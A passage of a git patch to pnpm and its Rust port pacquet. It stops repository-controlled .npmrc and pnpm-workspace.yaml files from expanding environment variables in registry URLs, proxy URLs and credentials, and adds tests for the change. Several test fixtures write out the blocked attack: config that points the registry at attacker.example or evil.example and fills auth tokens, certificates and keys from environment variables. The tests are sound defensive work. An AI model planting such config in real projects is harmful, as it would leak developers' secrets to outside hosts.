From 1017c36776e8eceb928d335cab42d4b7b33f07a3 Mon Sep 17 00:00:00 2001 From: Zoltan Kochan Date: Tue, 9 Jun 2026 22:29:15 +0200 Subject: [PATCH] fix: block untrusted request destination env expansion (#12291) Fixes CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r by making environment expansion trust-aware for registry/auth config and request destinations. - Stops project `.npmrc` from expanding `${...}` placeholders in registry/proxy request destinations, URL-scoped keys, and registry credential values. - Stops repository-controlled `pnpm-workspace.yaml` from expanding `${...}` placeholders in request destinations: `registry`, `registries`, `namedRegistries`, and `pnprServer`. - Preserves env expansion for trusted user/global/auth.ini/CLI/global config/env config so existing token, registry, and pnpr server setup flows continue to work. - Ports the same trust boundary to pacquet for dependency-management commands. --- .changeset/sharp-registry-env-placeholders.md | 6 + .../reader/src/getOptionsFromRootManifest.ts | 62 ++++- config/reader/src/index.ts | 8 +- config/reader/src/loadNpmrcFiles.ts | 76 +++++- .../test/getOptionsFromRootManifest.test.ts | 48 +++- config/reader/test/index.ts | 243 +++++++++++++++++- pacquet/crates/cli/tests/install.rs | 73 ++++-- pacquet/crates/config/src/lib.rs | 119 +++++---- pacquet/crates/config/src/npmrc_auth.rs | 109 ++++++++ pacquet/crates/config/src/npmrc_auth/tests.rs | 141 ++++++++++ pacquet/crates/config/src/tests.rs | 85 ++++++ pacquet/crates/config/src/workspace_yaml.rs | 88 +++++-- .../crates/config/src/workspace_yaml/tests.rs | 95 ++++++- pnpm-lock.yaml | 9 +- pnpm-workspace.yaml | 1 + 15 files changed, 1018 insertions(+), 145 deletions(-) create mode 100644 .changeset/sharp-registry-env-placeholders.md diff --git a/.changeset/sharp-registry-env-placeholders.md b/.changeset/sharp-registry-env-placeholders.md new file mode 100644 index 0000000000..1e27851a22 --- /dev/null +++ b/.changeset/sharp-registry-env-placeholders.md @@ -0,0 +1,6 @@ +--- +"@pnpm/config.reader": minor +"pnpm": minor +--- + +Stopped expanding environment variables in repository-controlled registry/proxy request destinations and registry credential values from `.npmrc`, and in workspace registry URLs from `pnpm-workspace.yaml`. Move dynamic registry URL and token configuration to trusted user, global, CLI, or environment config. diff --git a/config/reader/src/getOptionsFromRootManifest.ts b/config/reader/src/getOptionsFromRootManifest.ts index 0c7fe8864a..e76fcefd77 100644 --- a/config/reader/src/getOptionsFromRootManifest.ts +++ b/config/reader/src/getOptionsFromRootManifest.ts @@ -26,16 +26,36 @@ export type OptionsFromRootManifest = { requiredScripts?: string[] } & Pick -export function getOptionsFromPnpmSettings (manifestDir: string | undefined, pnpmSettings: PnpmSettings, manifest?: ProjectManifest): OptionsFromRootManifest { - const settings: OptionsFromRootManifest = replaceEnvInSettings(pnpmSettings) +interface GetOptionsFromPnpmSettingsOptions { + manifest?: ProjectManifest + expandRequestDestinationEnv?: boolean +} + +interface ReplaceEnvInSettingsOptions { + expandRequestDestinationEnv: boolean +} + +const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry']) + +export function getOptionsFromPnpmSettings ( + manifestDir: string | undefined, + pnpmSettings: PnpmSettings, + manifestOrOpts?: ProjectManifest | GetOptionsFromPnpmSettingsOptions +): OptionsFromRootManifest { + const opts = isGetOptionsFromPnpmSettingsOptions(manifestOrOpts) + ? manifestOrOpts + : manifestOrOpts == null ? {} : { manifest: manifestOrOpts } + const settings: OptionsFromRootManifest = replaceEnvInSettings(pnpmSettings, { + expandRequestDestinationEnv: opts.expandRequestDestinationEnv ?? false, + }) if (settings.overrides) { assertValidOverrides(settings.overrides) if (Object.keys(settings.overrides).length === 0) { delete settings.overrides } else { warnAboutDeprecatedVersionReferences(settings.overrides) - if (manifest) { - settings.overrides = mapValues(createVersionReferencesReplacer(manifest), settings.overrides) + if (opts.manifest) { + settings.overrides = mapValues(createVersionReferencesReplacer(opts.manifest), settings.overrides) } } } @@ -50,6 +70,12 @@ export function getOptionsFromPnpmSettings (manifestDir: string | undefined, pnp return settings } +function isGetOptionsFromPnpmSettingsOptions ( + value: ProjectManifest | GetOptionsFromPnpmSettingsOptions | undefined +): value is GetOptionsFromPnpmSettingsOptions { + return value != null && ('expandRequestDestinationEnv' in value || 'manifest' in value) +} + function assertValidOverrides (overrides: unknown): asserts overrides is Record { if (overrides == null || typeof overrides !== 'object' || Array.isArray(overrides)) { throw new PnpmError('INVALID_OVERRIDES', `The overrides field should be an object, but got ${renderReceivedType(overrides)}`) @@ -67,19 +93,21 @@ function renderReceivedType (value: unknown): string { return typeof value } -function replaceEnvInSettings (settings: PnpmSettings): PnpmSettings { +function replaceEnvInSettings ( + settings: PnpmSettings, + opts: ReplaceEnvInSettingsOptions +): PnpmSettings { const newSettings: PnpmSettings = {} for (const [key, value] of Object.entries(settings)) { const newKey = envReplace(key, process.env) if (typeof value === 'string') { + if (REQUEST_DESTINATION_SCALAR_KEYS.has(newKey) && !opts.expandRequestDestinationEnv && hasEnvPlaceholder(value)) continue // @ts-expect-error newSettings[newKey as keyof PnpmSettings] = envReplace(value, process.env) } else if (newKey === 'registries' || newKey === 'namedRegistries') { - // Registry URL maps in workspace yaml must support `${VAR}` substitution - // in their values so users can reuse the same env-var pattern they use - // in `.npmrc`. Only these keys are treated this way to avoid surprising - // behavior on unrelated object-valued settings. - newSettings[newKey as keyof PnpmSettings] = replaceEnvInStringValues(value) as never + newSettings[newKey as keyof PnpmSettings] = (opts.expandRequestDestinationEnv + ? replaceEnvInStringValues(value) + : copyStringValuesWithoutEnvPlaceholders(value)) as never } else { newSettings[newKey as keyof PnpmSettings] = value } @@ -96,6 +124,20 @@ function replaceEnvInStringValues (value: unknown): unknown { return out } +function copyStringValuesWithoutEnvPlaceholders (value: unknown): unknown { + if (value == null || typeof value !== 'object' || Array.isArray(value)) return value + const out: Record = {} + for (const [k, v] of Object.entries(value as Record)) { + if (typeof v === 'string' && hasEnvPlaceholder(v)) continue + out[k] = v + } + return out +} + +function hasEnvPlaceholder (value: string): boolean { + return /\$\{[^}]+\}/.test(value) +} + function warnAboutDeprecatedVersionReferences (overrides: Record): void { const selectors = Object.keys(overrides).filter((selector) => overrides[selector][0] === '$') if (selectors.length === 0) return diff --git a/config/reader/src/index.ts b/config/reader/src/index.ts index b47fbb1d17..187626e82c 100644 --- a/config/reader/src/index.ts +++ b/config/reader/src/index.ts @@ -311,6 +311,7 @@ export async function getConfig (opts: { } addSettingsFromWorkspaceManifestToConfig(pnpmConfig, { configFromCliOpts, + expandRequestDestinationEnv: true, projectManifest: undefined, workspaceDir: undefined, workspaceManifest: globalYamlConfig, @@ -322,6 +323,9 @@ export async function getConfig (opts: { ...networkConfigs.registries, } pnpmConfig.registries = { ...registriesFromNpmrc } + if (explicitlySetKeys.has('registry') && typeof pnpmConfig.registry === 'string') { + pnpmConfig.registries.default = normalizeRegistryUrl(pnpmConfig.registry) + } pnpmConfig.configByUri = { ...networkConfigs.configByUri } // tokenHelper must only come from user-level config (~/.npmrc or global auth.ini), @@ -874,16 +878,18 @@ function getNodeVersionFromEnginesRuntime (manifest: ProjectManifest): string | function addSettingsFromWorkspaceManifestToConfig (pnpmConfig: Config & ConfigContext, { configFromCliOpts, + expandRequestDestinationEnv, projectManifest, workspaceManifest, workspaceDir, }: { configFromCliOpts: Record + expandRequestDestinationEnv?: boolean projectManifest: ProjectManifest | undefined workspaceDir: string | undefined workspaceManifest: WorkspaceManifest }): void { - const newSettings = Object.assign(getOptionsFromPnpmSettings(workspaceDir, workspaceManifest, projectManifest), configFromCliOpts) + const newSettings = Object.assign(getOptionsFromPnpmSettings(workspaceDir, workspaceManifest, { manifest: projectManifest, expandRequestDestinationEnv }), configFromCliOpts) for (const [key, value] of Object.entries(newSettings)) { if (!isCamelCase(key)) continue diff --git a/config/reader/src/loadNpmrcFiles.ts b/config/reader/src/loadNpmrcFiles.ts index dd95b4e228..fe7abe319a 100644 --- a/config/reader/src/loadNpmrcFiles.ts +++ b/config/reader/src/loadNpmrcFiles.ts @@ -44,6 +44,11 @@ export interface LoadNpmrcConfigOpts { env?: Record } +interface ReadAndFilterNpmrcOptions { + expandAuthValueEnv?: boolean + expandRequestDestinationEnv?: boolean +} + export function loadNpmrcConfig (opts: LoadNpmrcConfigOpts): NpmrcConfigResult { const warnings: string[] = [] const env = opts.env ?? process.env as Record @@ -59,7 +64,8 @@ export function loadNpmrcConfig (opts: LoadNpmrcConfigOpts): NpmrcConfigResult { const workspaceNpmrc = readAndFilterNpmrc( path.resolve(workspaceNpmrcDir, '.npmrc'), warnings, - env + env, + { expandAuthValueEnv: false, expandRequestDestinationEnv: false } ) // Read user .npmrc (from npmrcAuthFile setting or ~/.npmrc) @@ -161,7 +167,8 @@ const UNSCOPED_RESCOPABLE_KEYS = [ function readAndFilterNpmrc ( filePath: string, warnings: string[], - env: Record + env: Record, + opts: ReadAndFilterNpmrcOptions = {} ): Record { let raw: Record try { @@ -176,12 +183,38 @@ function readAndFilterNpmrc ( const npmrcDir = path.dirname(filePath) const result: Record = {} + const expandAuthValueEnv = opts.expandAuthValueEnv ?? true + const expandRequestDestinationEnv = opts.expandRequestDestinationEnv ?? true for (const [rawKey, rawValue] of Object.entries(raw)) { - // Apply ${VAR} substitution to both keys and values + if (!expandRequestDestinationEnv && hasEnvPlaceholder(rawKey) && isRequestDestinationKey(rawKey)) { + warnIgnoredRequestDestinationEnv(filePath, rawKey, warnings) + continue + } + if (!expandAuthValueEnv && hasEnvPlaceholder(rawKey) && isAuthValueKey(rawKey)) { + warnIgnoredAuthValueEnv(filePath, rawKey, warnings) + continue + } const key = substituteEnv(rawKey, env, warnings) - let value: unknown = typeof rawValue === 'string' - ? substituteEnv(rawValue, env, warnings) - : rawValue + if (!expandRequestDestinationEnv && hasEnvPlaceholder(rawKey) && isRequestDestinationKey(key)) { + warnIgnoredRequestDestinationEnv(filePath, rawKey, warnings) + continue + } + if (!expandAuthValueEnv && hasEnvPlaceholder(rawKey) && isAuthValueKey(key)) { + warnIgnoredAuthValueEnv(filePath, rawKey, warnings) + continue + } + let value: unknown = rawValue + if (typeof rawValue === 'string') { + if (!expandRequestDestinationEnv && hasEnvPlaceholder(rawValue) && isRequestDestinationValueKey(key)) { + warnIgnoredRequestDestinationEnv(filePath, key, warnings) + continue + } + if (!expandAuthValueEnv && hasEnvPlaceholder(rawValue) && isAuthValueKey(key)) { + warnIgnoredAuthValueEnv(filePath, key, warnings) + continue + } + value = substituteEnv(rawValue, env, warnings) + } // Only keep auth/registry related keys if (isNpmrcReadableKey(key)) { @@ -197,6 +230,37 @@ function readAndFilterNpmrc ( return rescopeUnscopedCreds(result, filePath, warnings) } +function isRequestDestinationKey (key: string): boolean { + return isRegistryKey(key) || key.startsWith('//') +} + +function isRequestDestinationValueKey (key: string): boolean { + return isRegistryKey(key) || key === 'https-proxy' || key === 'http-proxy' || key === 'proxy' +} + +function isRegistryKey (key: string): boolean { + return key === 'registry' || (key.startsWith('@') && key.endsWith(':registry')) +} + +const AUTH_VALUE_KEYS = ['_authToken', '_auth', '_password', 'username', 'tokenHelper', 'cert', 'key'] as const +const AUTH_VALUE_KEY_SUFFIXES = AUTH_VALUE_KEYS.map(key => `:${key}`) + +function isAuthValueKey (key: string): boolean { + return (AUTH_VALUE_KEYS as readonly string[]).includes(key) || AUTH_VALUE_KEY_SUFFIXES.some(suffix => key.endsWith(suffix)) +} + +function hasEnvPlaceholder (value: string): boolean { + return /\$\{[^}]+\}/.test(value) +} + +function warnIgnoredRequestDestinationEnv (filePath: string, key: string, warnings: string[]): void { + warnings.push(`Ignored project-level request destination "${key}" in "${filePath}": environment variables are not expanded in repository-controlled registry or proxy URLs.`) +} + +function warnIgnoredAuthValueEnv (filePath: string, key: string, warnings: string[]): void { + warnings.push(`Ignored project-level auth setting "${key}" in "${filePath}": environment variables are not expanded in repository-controlled registry credentials.`) +} + // Rewrite any unscoped per-registry keys in `source` to their URL-scoped // equivalents (`//host[:port]/path/:=...`) using `source.registry` — // or the builtin default registry if the source doesn't declare its own. diff --git a/config/reader/test/getOptionsFromRootManifest.test.ts b/config/reader/test/getOptionsFromRootManifest.test.ts index 8fdc9e5e68..75ac6b9ba1 100644 --- a/config/reader/test/getOptionsFromRootManifest.test.ts +++ b/config/reader/test/getOptionsFromRootManifest.test.ts @@ -17,7 +17,7 @@ test('getOptionsFromPnpmSettings() replaces env variables in settings', () => { expect(options.foo).toBe('bar') }) -test('getOptionsFromPnpmSettings() expands env variables inside registries values', () => { +test('getOptionsFromPnpmSettings() ignores env variables inside registries values', () => { process.env.PNPM_TEST_TOKEN = 'secret' const options = getOptionsFromPnpmSettings(process.cwd(), { registries: { @@ -25,17 +25,57 @@ test('getOptionsFromPnpmSettings() expands env variables inside registries value '@scope': 'https://registry.example.com/${PNPM_TEST_TOKEN}/', }, }) as any // eslint-disable-line - expect(options.registries['@scope']).toBe('https://registry.example.com/secret/') + expect(options.registries).toStrictEqual({ + default: 'https://registry.npmjs.org/', + }) }) -test('getOptionsFromPnpmSettings() expands env variables inside namedRegistries values', () => { +test('getOptionsFromPnpmSettings() ignores env variables inside namedRegistries values', () => { process.env.PNPM_TEST_HOST = 'work.example.com' const options = getOptionsFromPnpmSettings(process.cwd(), { namedRegistries: { work: 'https://${PNPM_TEST_HOST}/npm/', }, } as any) as any // eslint-disable-line - expect(options.namedRegistries.work).toBe('https://work.example.com/npm/') + expect(options.namedRegistries).toStrictEqual({}) +}) + +test('getOptionsFromPnpmSettings() ignores env variables inside registry setting', () => { + process.env.PNPM_TEST_HOST = 'registry.example.com' + const options = getOptionsFromPnpmSettings(process.cwd(), { + registry: 'https://${PNPM_TEST_HOST}/npm/', + } as any) as any // eslint-disable-line + expect(options.registry).toBeUndefined() +}) + +test('getOptionsFromPnpmSettings() ignores env variables inside pnprServer setting', () => { + process.env.PNPM_TEST_HOST = 'registry.example.com' + const options = getOptionsFromPnpmSettings(process.cwd(), { + pnprServer: 'https://${PNPM_TEST_HOST}/pnpr/', + } as any) as any // eslint-disable-line + expect(options.pnprServer).toBeUndefined() +}) + +test('getOptionsFromPnpmSettings() may expand env variables inside trusted request destinations', () => { + process.env.PNPM_TEST_HOST = 'registry.example.com' + const options = getOptionsFromPnpmSettings(process.cwd(), { + pnprServer: 'https://${PNPM_TEST_HOST}/pnpr/', + registry: 'https://${PNPM_TEST_HOST}/npm/', + registries: { + '@scope': 'https://${PNPM_TEST_HOST}/scope/', + }, + namedRegistries: { + work: 'https://${PNPM_TEST_HOST}/work/', + }, + } as any, { expandRequestDestinationEnv: true }) as any // eslint-disable-line + expect(options.pnprServer).toBe('https://registry.example.com/pnpr/') + expect(options.registry).toBe('https://registry.example.com/npm/') + expect(options.registries).toStrictEqual({ + '@scope': 'https://registry.example.com/scope/', + }) + expect(options.namedRegistries).toStrictEqual({ + work: 'https://registry.example.com/work/', + }) }) test('getOptionsFromPnpmSettings() converts allowBuilds', () => { diff --git a/config/reader/test/index.ts b/config/reader/test/index.ts index 78df132d24..a4b2bc89c6 100644 --- a/config/reader/test/index.ts +++ b/config/reader/test/index.ts @@ -607,6 +607,151 @@ test('registries in current directory\'s .npmrc have bigger priority then global }) }) +test('project .npmrc does not expand env variables in registry URLs', async () => { + prepare() + + fs.writeFileSync('.npmrc', 'registry=https://registry.example.com/${PNPM_TEST_TOKEN}/\n', 'utf8') + + const { config, warnings } = await getConfig({ + cliOptions: {}, + env: { ...env, PNPM_TEST_TOKEN: 'secret' }, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + }) + + expect(config.registries.default).not.toBe('https://registry.example.com/secret/') + expect(JSON.stringify(config.registries)).not.toContain('secret') + expect(warnings).toEqual(expect.arrayContaining([ + expect.stringContaining('Ignored project-level request destination "registry"'), + ])) +}) + +test('project .npmrc does not expand env variables in scoped registry URLs or URL-scoped keys', async () => { + prepare() + + fs.writeFileSync('.npmrc', [ + '@scope:registry=https://registry.example.com/${PNPM_TEST_TOKEN}/', + '//registry.example.com/${PNPM_TEST_TOKEN}/:_authToken=token', + '', + ].join('\n'), 'utf8') + + const { config, warnings } = await getConfig({ + cliOptions: {}, + env: { ...env, PNPM_TEST_TOKEN: 'secret' }, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + }) + + expect(config.registries['@scope']).toBeUndefined() + expect(Object.keys(config.authConfig).join('\n')).not.toContain('secret') + expect(warnings).toEqual(expect.arrayContaining([ + expect.stringContaining('Ignored project-level request destination "@scope:registry"'), + expect.stringContaining('Ignored project-level request destination "//registry.example.com/${PNPM_TEST_TOKEN}/:_authToken"'), + ])) +}) + +test('project .npmrc does not expand env variables in auth values', async () => { + prepare() + + fs.writeFileSync('.npmrc', [ + 'registry=https://attacker.example/', + '//attacker.example/:_authToken=${PNPM_TEST_TOKEN}', + '//attacker.example/:cert=${PNPM_TEST_CERT}', + '//attacker.example/:key=${PNPM_TEST_KEY}', + '_authToken=${PNPM_TEST_TOKEN}', + 'username=${PNPM_TEST_USER}', + '_password=${PNPM_TEST_PASSWORD}', + 'cert=${PNPM_TEST_CERT}', + 'key=${PNPM_TEST_KEY}', + '', + ].join('\n'), 'utf8') + + const { config, warnings } = await getConfig({ + cliOptions: {}, + env: { + ...env, + PNPM_TEST_CERT: 'secret-cert', + PNPM_TEST_KEY: 'secret-key', + PNPM_TEST_PASSWORD: Buffer.from('secret').toString('base64'), + PNPM_TEST_TOKEN: 'secret-token', + PNPM_TEST_USER: 'secret-user', + }, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + }) + + const serializedAuthConfig = JSON.stringify(config.authConfig) + expect(serializedAuthConfig).not.toContain('secret-token') + expect(serializedAuthConfig).not.toContain('secret-user') + expect(serializedAuthConfig).not.toContain('secret-cert') + expect(serializedAuthConfig).not.toContain('secret-key') + expect(config.configByUri?.['//attacker.example/']?.creds).toBeUndefined() + expect(config.configByUri?.['//attacker.example/']?.tls).toBeUndefined() + expect(warnings).toEqual(expect.arrayContaining([ + expect.stringContaining('Ignored project-level auth setting "//attacker.example/:_authToken"'), + expect.stringContaining('Ignored project-level auth setting "//attacker.example/:cert"'), + expect.stringContaining('Ignored project-level auth setting "//attacker.example/:key"'), + expect.stringContaining('Ignored project-level auth setting "_authToken"'), + expect.stringContaining('Ignored project-level auth setting "cert"'), + expect.stringContaining('Ignored project-level auth setting "key"'), + ])) +}) + +test('project .npmrc does not expand env variables in proxy URLs', async () => { + prepare() + + fs.writeFileSync('.npmrc', [ + 'https-proxy=http://proxy.example.com/${PNPM_TEST_TOKEN}/', + 'http-proxy=http://proxy.example.com/${PNPM_TEST_TOKEN}/', + 'proxy=http://legacy-proxy.example.com/${PNPM_TEST_TOKEN}/', + '', + ].join('\n'), 'utf8') + + const { config, warnings } = await getConfig({ + cliOptions: {}, + env: { ...env, PNPM_TEST_TOKEN: 'secret' }, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + }) + + expect(config.httpsProxy).toBeUndefined() + expect(config.httpProxy).toBeUndefined() + expect(JSON.stringify(config)).not.toContain('secret') + expect(warnings).toEqual(expect.arrayContaining([ + expect.stringContaining('Ignored project-level request destination "https-proxy"'), + expect.stringContaining('Ignored project-level request destination "http-proxy"'), + expect.stringContaining('Ignored project-level request destination "proxy"'), + ])) +}) + +test('user .npmrc may expand env variables in registry URLs', async () => { + prepare() + + fs.mkdirSync('user-home') + fs.writeFileSync(path.resolve('user-home', '.npmrc'), 'registry=https://registry.example.com/${PNPM_TEST_TOKEN}/\n', 'utf8') + + const { config } = await getConfig({ + cliOptions: { + userconfig: path.resolve('user-home', '.npmrc'), + }, + env: { ...env, PNPM_TEST_TOKEN: 'secret' }, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + }) + + expect(config.registries.default).toBe('https://registry.example.com/secret/') +}) + test('pnpm-workspace.yaml registries override the same scope from .npmrc (#11492)', async () => { prepareEmpty() @@ -645,6 +790,34 @@ test('pnpm-workspace.yaml registries.default is reflected in config.registry (#1 expect(config.registries.default).toBe('https://private.example.com/') }) +test('pnpm-workspace.yaml request destinations do not expand env variables', async () => { + prepareEmpty() + + writeYamlFileSync('pnpm-workspace.yaml', { + pnprServer: 'https://${PNPM_TEST_TOKEN}.evil.example/', + registries: { + default: 'https://private.example.com/${PNPM_TEST_TOKEN}/', + '@scope': 'https://scope.example.com/${PNPM_TEST_TOKEN}/', + }, + namedRegistries: { + work: 'https://work.example.com/${PNPM_TEST_TOKEN}/', + }, + }) + + const { config } = await getConfig({ + cliOptions: {}, + env: { ...env, PNPM_TEST_TOKEN: 'secret' }, + packageManager: { name: 'pnpm', version: '1.0.0' }, + workspaceDir: process.cwd(), + }) + + expect(config.registries.default).not.toBe('https://private.example.com/secret/') + expect(config.registries['@scope']).toBeUndefined() + expect(config.namedRegistries).toStrictEqual({}) + expect(config.pnprServer).toBeUndefined() + expect(JSON.stringify(config)).not.toContain('secret') +}) + test('CLI --registry overrides pnpm-workspace.yaml registries.default (#10099)', async () => { prepareEmpty() @@ -752,12 +925,14 @@ describe('unresolved ${VAR} placeholders in .npmrc auth values', () => { // and rejects the publish. let originalXdg: string | undefined let configHome: string + let userconfig: string beforeEach(() => { prepareEmpty() - fs.writeFileSync('.npmrc', '//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}\n', 'utf8') + fs.writeFileSync('.npmrc', '', 'utf8') fs.mkdirSync('user-home') - fs.writeFileSync(path.resolve('user-home', '.npmrc'), '', 'utf8') + userconfig = path.resolve('user-home', '.npmrc') + fs.writeFileSync(userconfig, '//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}\n', 'utf8') // Isolate from the developer's real ~/.config/pnpm/auth.ini, which on a maintainer's // machine often contains a working npm token that would otherwise satisfy the assertion. configHome = path.resolve('xdg-config') @@ -777,7 +952,7 @@ describe('unresolved ${VAR} placeholders in .npmrc auth values', () => { test('drops the placeholder when the env var is unset', async () => { const { config } = await getConfig({ cliOptions: { - userconfig: path.resolve('user-home', '.npmrc'), + userconfig, }, env: { ...env, XDG_CONFIG_HOME: configHome }, // NODE_AUTH_TOKEN intentionally unset packageManager: { @@ -793,7 +968,7 @@ describe('unresolved ${VAR} placeholders in .npmrc auth values', () => { test('substitutes normally when the env var is set', async () => { const { config } = await getConfig({ cliOptions: { - userconfig: path.resolve('user-home', '.npmrc'), + userconfig, }, env: { ...env, XDG_CONFIG_HOME: configHome, NODE_AUTH_TOKEN: 'real-token' }, packageManager: { @@ -812,14 +987,14 @@ describe('unresolved ${VAR} placeholders in .npmrc auth values', () => { // but the other two must still expand. Guards against the original implementation // that stripped every `${...}` on any substitution failure. fs.writeFileSync( - '.npmrc', + userconfig, '//registry.test/:_authToken=${SET}-${UNSET}-${DEFAULTED-fallback}\n', 'utf8' ) const { config } = await getConfig({ cliOptions: { - userconfig: path.resolve('user-home', '.npmrc'), + userconfig, }, env: { ...env, XDG_CONFIG_HOME: configHome, SET: 'AAA' }, // UNSET, DEFAULTED unset packageManager: { @@ -837,14 +1012,14 @@ describe('unresolved ${VAR} placeholders in .npmrc auth values', () => { // `{ KEY: undefined }` to model an unset variable. `${VAR-default}` must then // resolve to `default`, matching the `Record` contract. fs.writeFileSync( - '.npmrc', + userconfig, '//registry.test/:_authToken=${EXPLICIT_UNDEF-fallback}\n', 'utf8' ) const { config } = await getConfig({ cliOptions: { - userconfig: path.resolve('user-home', '.npmrc'), + userconfig, }, env: { ...env, XDG_CONFIG_HOME: configHome, EXPLICIT_UNDEF: undefined }, packageManager: { @@ -1987,6 +2162,8 @@ test('preferSymlinkedExecutables should be true when nodeLinker is hoisted', asy }) test('return a warning when the .npmrc has an env variable that does not exist', async () => { + prepare() + fs.writeFileSync('.npmrc', 'registry=${ENV_VAR_123}', 'utf8') const { warnings } = await getConfig({ cliOptions: {}, @@ -1997,7 +2174,7 @@ test('return a warning when the .npmrc has an env variable that does not exist', }) const expected = [ - expect.stringContaining('Failed to replace env in config: ${ENV_VAR_123}') // eslint-disable-line + expect.stringContaining('Ignored project-level request destination "registry"'), ] expect(warnings).toEqual(expect.arrayContaining(expected)) @@ -2092,14 +2269,14 @@ test('read PNPM_HOME defined in environment variables', async () => { process.env = oldEnv }) -test('xxx', async () => { +test('project .npmrc does not expand env variables into registry keys', async () => { const oldEnv = process.env process.env = { ...oldEnv, FOO: 'registry', } - const { config } = await getConfig({ + const { config, warnings } = await getConfig({ cliOptions: { dir: f.find('has-env-in-key'), }, @@ -2108,7 +2285,10 @@ test('xxx', async () => { version: '1.0.0', }, }) - expect(config.registry).toBe('https://registry.example.com/') + expect(config.registry).toBe('https://registry.npmjs.org/') + expect(warnings).toEqual(expect.arrayContaining([ + expect.stringContaining('Ignored project-level request destination "${FOO}"'), + ])) process.env = oldEnv }) @@ -2315,13 +2495,24 @@ test.each([ describe('global config.yaml', () => { let XDG_CONFIG_HOME: string | undefined + let PNPM_TEST_HOST: string | undefined beforeEach(() => { XDG_CONFIG_HOME = process.env.XDG_CONFIG_HOME + PNPM_TEST_HOST = process.env.PNPM_TEST_HOST }) afterEach(() => { - process.env.XDG_CONFIG_HOME = XDG_CONFIG_HOME + if (XDG_CONFIG_HOME == null) { + delete process.env.XDG_CONFIG_HOME + } else { + process.env.XDG_CONFIG_HOME = XDG_CONFIG_HOME + } + if (PNPM_TEST_HOST == null) { + delete process.env.PNPM_TEST_HOST + } else { + process.env.PNPM_TEST_HOST = PNPM_TEST_HOST + } }) test('reads config from global config.yaml', async () => { @@ -2351,6 +2542,32 @@ describe('global config.yaml', () => { expect(config.dangerouslyAllowAllBuilds).toBeDefined() }) + test('expands request destination values from trusted global config.yaml', async () => { + prepareEmpty() + + fs.mkdirSync('.config/pnpm', { recursive: true }) + writeYamlFileSync('.config/pnpm/config.yaml', { + pnprServer: 'https://${PNPM_TEST_HOST}/pnpr/', + registry: 'https://${PNPM_TEST_HOST}/npm/', + }) + + process.env.XDG_CONFIG_HOME = path.resolve('.config') + process.env.PNPM_TEST_HOST = 'trusted.example.com' + + const { config } = await getConfig({ + cliOptions: {}, + packageManager: { + name: 'pnpm', + version: '1.0.0', + }, + workspaceDir: process.cwd(), + }) + + expect(config.pnprServer).toBe('https://trusted.example.com/pnpr/') + expect(config.registry).toBe('https://trusted.example.com/npm/') + expect(config.registries.default).toBe('https://trusted.example.com/npm/') + }) + test('reads user-level preference settings from global config.yaml', async () => { prepareEmpty() diff --git a/pacquet/crates/cli/tests/install.rs b/pacquet/crates/cli/tests/install.rs index c79b80b9b6..e3b28631a4 100644 --- a/pacquet/crates/cli/tests/install.rs +++ b/pacquet/crates/cli/tests/install.rs @@ -253,40 +253,22 @@ fn should_install_circular_dependencies() { drop((root, mock_instance)); // cleanup } -/// End-to-end coverage for `${VAR}` substitution in `.npmrc`. -/// -/// `::var` (the `std::env::var` bridge in -/// `crates/config/src/api.rs`) is unreachable by every other test -/// because `add_mocked_registry` writes literal values, so -/// `env_replace` short-circuits at the no-`$` branch. -/// -/// This test rewrites the registry URL to `${PACQUET_TEST_REGISTRY}`, -/// sets that variable on the spawned process, and asserts the install -/// succeeds. The auth-token `${VAR}` substitution path covered by -/// upstream's [`installing/deps-installer/test/install/auth.ts`](https://github.com/pnpm/pnpm/blob/601317e7a3/installing/deps-installer/test/install/auth.ts) -/// is not exercised here. The mock registry doesn't gate on auth, so -/// substituting the registry URL is the smallest scenario that drives -/// `::var` end-to-end. Token-substitution coverage -/// belongs in a test against a registry that actually validates the -/// header. #[test] -fn install_resolves_env_var_in_npmrc_registry() { +fn install_resolves_env_var_in_user_npmrc_registry() { let CommandTempCwd { pacquet, root, workspace, npmrc_info, .. } = CommandTempCwd::init().add_mocked_registry(); let AddMockedRegistry { mock_instance, npmrc_path, .. } = npmrc_info; - eprintln!("Patching .npmrc to use ${{PACQUET_TEST_REGISTRY}}..."); - // Replace the literal `registry=` line written by - // `add_mocked_registry` with one that references an env var. - // Keep the other lines (`store-dir`, `cache-dir`) intact. let mocked_registry_url = mock_instance.url(); let original = fs::read_to_string(&npmrc_path).expect("read .npmrc"); - let patched = original - .replace(&format!("registry={mocked_registry_url}"), "registry=${PACQUET_TEST_REGISTRY}"); + let patched = original.replace(&format!("registry={mocked_registry_url}\n"), ""); eprintln!("npmrc_path={npmrc_path:?}\noriginal_npmrc={original:?}\npatched_npmrc={patched:?}"); assert_ne!(original, patched, ".npmrc layout drifted; update this test"); fs::write(&npmrc_path, &patched).expect("rewrite .npmrc"); + let user_npmrc_path = root.path().join("trusted-user.npmrc"); + fs::write(&user_npmrc_path, "registry=${PACQUET_TEST_REGISTRY}\n").expect("write user .npmrc"); + eprintln!("Creating package.json..."); let manifest_path = workspace.join("package.json"); let package_json_content = serde_json::json!({ @@ -299,6 +281,8 @@ fn install_resolves_env_var_in_npmrc_registry() { eprintln!("Executing command with PACQUET_TEST_REGISTRY set..."); pacquet .with_env("PACQUET_TEST_REGISTRY", &mocked_registry_url) + .with_arg("--npmrc-auth-file") + .with_arg(user_npmrc_path) .with_arg("install") .assert() .success(); @@ -312,6 +296,49 @@ fn install_resolves_env_var_in_npmrc_registry() { drop((root, mock_instance)); // cleanup } +#[test] +fn install_ignores_env_var_in_project_npmrc_registry() { + let CommandTempCwd { pacquet, root, workspace, npmrc_info, .. } = + CommandTempCwd::init().add_mocked_registry(); + let AddMockedRegistry { mock_instance, npmrc_path, .. } = npmrc_info; + + let mocked_registry_url = mock_instance.url(); + let original = fs::read_to_string(&npmrc_path).expect("read .npmrc"); + let patched = original + .replace(&format!("registry={mocked_registry_url}"), "registry=${PACQUET_TEST_REGISTRY}"); + eprintln!("npmrc_path={npmrc_path:?}\noriginal_npmrc={original:?}\npatched_npmrc={patched:?}"); + assert_ne!(original, patched, ".npmrc layout drifted; update this test"); + fs::write(&npmrc_path, &patched).expect("rewrite .npmrc"); + + let user_npmrc_path = 